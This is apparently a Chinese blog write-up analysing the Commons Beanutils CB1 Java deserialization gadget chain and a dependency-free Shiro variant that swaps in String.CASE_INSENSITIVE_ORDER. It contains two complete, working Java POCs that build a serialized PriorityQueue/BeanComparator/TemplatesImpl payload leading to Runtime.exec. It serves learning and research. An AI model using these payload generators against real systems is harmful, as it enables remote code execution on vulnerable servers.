CB1反序列化链以及无依赖的Shiro反序列化利用链分析

前言

前两天结束了CC链的分析,现在准备来学习CommonsBeanutils链,今天是2022.3.6 晚上九点十五分,来看看自己能花多少时间结束这条链

了解Apache Commons Beanutils

Apache Commons Beanutils 是Apache Commons工具集下的一个项目,提供了一些对普通Java类对象的一些操作方法,这些Java类对象也叫JavaBean

这里直接来写一个demo

public class Person {
    private String name;
    private int age;

    public String getName() { return this.name; }
    public void setName(String name) { this.name = name; }

    public int getAge() { return this.age; }
    public void setAge(int age) { this.age = age; }
}

这样的class称为bean,读写方法以get和set开头,后面是首字母大写的属性名,他们包含若干个私有的属性,要得到这个属性只能通过getXxxx来获取。

除此之外,commons beanutils 中有这么一个类PropertyUtils,他提供了一个静态方法getProperty(),该方法可以让使用者直接调用某个JavaBean的某个属性的getter,比如上面那个,我要调用他的getName,我们只需要这么写即可

PropertyUtils.getProperty(new Person(),"name");

这时候他就会去自动寻找到Person类的name属性的getter,就是上面的getName(),调用并且获取返回值,此外,他还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,可以通过如下方式进行递归获取

PropertyUtils.getProperty(a,"b.c");

通过这种方式可以很方便的获取不同类的不同属性的值

CC4反序列化链回顾

CC4中,我们使用到了优先队列PriorityQueue这个类,在他的readObject中,调用了heapify这个方法,而heapify中调用了siftDown这个方法,siftDown这个方法调用了siftDownUsingComparator这个方法,siftDownUsingComparator方法如下

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

里面又调用了comparator的compare方法。这里就不细讲了, 都是之前的内容,主要来大概梳理一下这条链的调用顺序,来方便我们更好的理解Commons-Beanutils1这条链

Commons Beanutils链分析

上面最后讲到了CC4中调用了comparator的compare方法,这里的话CB1这条链就在这里发生了变化。这里的话我们可以找到这么一个类org.apache.commons.beanutils.BeanComparator ,他的compare方法如下

public int compare( Object o1, Object o2 ) {
    
    if ( property == null ) {
        // compare the actual objects
        return comparator.compare( o1, o2 );
    }
    
    try {
        Object value1 = PropertyUtils.getProperty( o1, property );
        Object value2 = PropertyUtils.getProperty( o2, property );
        return comparator.compare( value1, value2 );
    }
    catch ( IllegalAccessException iae ) {
        throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
    } 
    catch ( InvocationTargetException ite ) {
        throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
    }
    catch ( NoSuchMethodException nsme ) {
        throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
    } 
}

他是一个compare方法,如果this.property为空的情况下,直接比较这俩对象。如果property不为空,则是调用PropertyUtils.getProperty来获取这两个对象的property属性的值,然后进行比较。关于PropertyUtils.getProperty的代码,这里直接贴出来,顺带着贴出他的注释吧。

/**
 * <p>Return the value of the specified property of the specified bean,
 * no matter which property reference format is used, with no
 * type conversions.</p>
 *
 * <p>For more details see <code>PropertyUtilsBean</code>.</p>
 *
 * @param bean Bean whose property is to be extracted
 * @param name Possibly indexed and/or nested name of the property
 *  to be extracted
 * @return the property value
 *
 * @exception IllegalAccessException if the caller does not have
 *  access to the property accessor method
 * @exception IllegalArgumentException if <code>bean</code> or
 *  <code>name</code> is null
 * @exception InvocationTargetException if the property accessor method
 *  throws an exception
 * @exception NoSuchMethodException if an accessor method for this
 *  propety cannot be found
 * @see PropertyUtilsBean#getProperty
 */
public static Object getProperty(Object bean, String name)
        throws IllegalAccessException, InvocationTargetException,
        NoSuchMethodException {

    return (PropertyUtilsBean.getInstance().getProperty(bean, name));

}

注释中有这么一段,就是Return那段,意思是无论使用哪种属性引用格式,返回指定bean的指定属性的值,不进行类型转换,比如我传入bean是之前的那个demm中的person,name是上面的age,他会去返回我们的age,也就是这个方法会自动去调用一个JavaBean的getter方法。

讲完了CB链中这个特殊类,有的师傅会疑惑这和我们的反序列化链有啥关系,不知道还师傅们还记不记得CC3链中有这么一个方法TemplatesImpl.getOutputProperties(),他符合getXxxx这样的格式,我们能不能通过使用PropertyUtils.getProperty(TemplatesImpl,"outputProperties")这样来调用我们的TemplatesImpl.getOutputProperties呢?其实这里 就是这样来调用的。下面的列出一下完整的调用顺序

ObjectInputStream.readObject()
	PriorityQueue.readObject()
		PriorityQueue.heapify()
			PriorityQueue.siftDown()
				siftDownUsingComparator()
					BeanComparator.compare()
						TemplatesImpl.getOutputProperties()
							TemplatesImpl.newTransformer()
								TemplatesImpl.getTransletInstance()
									TemplatesImpl.defineTransletClasses()
										TemplatesImpl.TransletClassLoader.defineClass()
											Pwner*(Javassist-generated).<static init>
												Runtime.exec()

写出来的POC如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cb1 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField = templates.getClass().getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
        byte[][] codes= {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(2);
        Field propertyField=comparator.getClass().getDeclaredField("property");
        propertyField.setAccessible(true);
        propertyField.set(comparator,"outputProperties");
        Field queueField=queue.getClass().getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{templates, templates});
        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。然后,我们再用反射将property 的值设置成恶意的 outputProperties ,将队列里的两个1替换成恶意的TemplateImpl 对象(这里的话因为后面需要调用PropertyUtils.getProperty( o1, property),这里的o1得是我们传进去的恶意TemplateImpl 对象)

这里我还遇到一点小小的坑,由于是第一次弄,我之前也看了很多网上分析的文章,看着看着看到了部分好像不需要commons collections包,所以第一次运行的时候就出错了,有个类找不到。后面才了解到有无依赖的Shiro反序列化利用链,这个后面会说。

无依赖的利用链

上面说了,我在第一次使用的时候没有导入commons collections的包,导致我没法运行我们的poc,commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全,那么真实情况下,万一我们的目标的环境没有commons collection这个包那又该如何进行反序列化呢?

首先我还是把我上面那个POC里的commons collections包去掉,然后我们运行看看在哪里会有问题,直接运行,他会报错,报错如下

image-20220308123318177

我们跟进到BeanComparator.java的81行和59行,这里其实是BeanComparator的构造方法,如果我们调用的无参构造方法,那么他会去调用自身的一个参数的构造方法,并且property默认是null,一个参数的构造方法会调用自身的两个参数的构造方法,并且默认的comparator是ComparableComparator类的对象

image-20220308124009434
image-20220308123407551
image-20220308124224350

既然我们现在没有ComparableComparator类,那么我们需要去找一个类进行替换,满足以下条件

  • 实现Serializable接口
  • 实现Comparator接口
  • Java或者commons beanutils中自带

这里的话找到了Java.lang.String下的CaseInsensitiveComparator这个内部类,他满足了上面的条件,代码如下

public static final Comparator<String> CASE_INSENSITIVE_ORDER
                                     = new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
        implements Comparator<String>, java.io.Serializable {
    // use serialVersionUID from JDK 1.2.2 for interoperability
    private static final long serialVersionUID = 8575799808933029326L;

    public int compare(String s1, String s2) {
        int n1 = s1.length();
        int n2 = s2.length();
        int min = Math.min(n1, n2);
        for (int i = 0; i < min; i++) {
            char c1 = s1.charAt(i);
            char c2 = s2.charAt(i);
            if (c1 != c2) {
                c1 = Character.toUpperCase(c1);
                c2 = Character.toUpperCase(c2);
                if (c1 != c2) {
                    c1 = Character.toLowerCase(c1);
                    c2 = Character.toLowerCase(c2);
                    if (c1 != c2) {
                        // No overflow because of numeric promotion
                        return c1 - c2;
                    }
                }
            }
        }
        return n1 - n2;
    }

    /** Replaces the de-serialized object. */
    private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
}

String类还有一个静态成员变量CASE_INSENSITIVE_ORDER是CaseInsensitiveComparator对象,那我们可以直接拿来用,只需把之前的POC的new的那行代码进行更改,传入两参数让他去调用俩参数的构造方法即可,但是这里直接运行会报错java.lang.Integer cannot be cast to java.lang.String,我们只需要把queue.add添加的东西变为字符串即可

POC如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xerces.internal.impl.xpath.regex.CaseInsensitiveMap;
import org.apache.commons.beanutils.BeanComparator;
import sun.misc.ASCIICaseInsensitiveComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cb1 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates=new TemplatesImpl();
        Class tc=templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaaa");
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("D://class/demo.class"));
        byte[][] codes= {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("2");
        Field propertyField=comparator.getClass().getDeclaredField("property");
        propertyField.setAccessible(true);
        propertyField.set(comparator,"outputProperties");
        Field queueField=queue.getClass().getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{templates, templates});
        serialize(queue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        return o;
    }
}

OK,大功告成,现在是2022.3.8的13点07分。中途摸鱼所以这么一点东西也搞了一天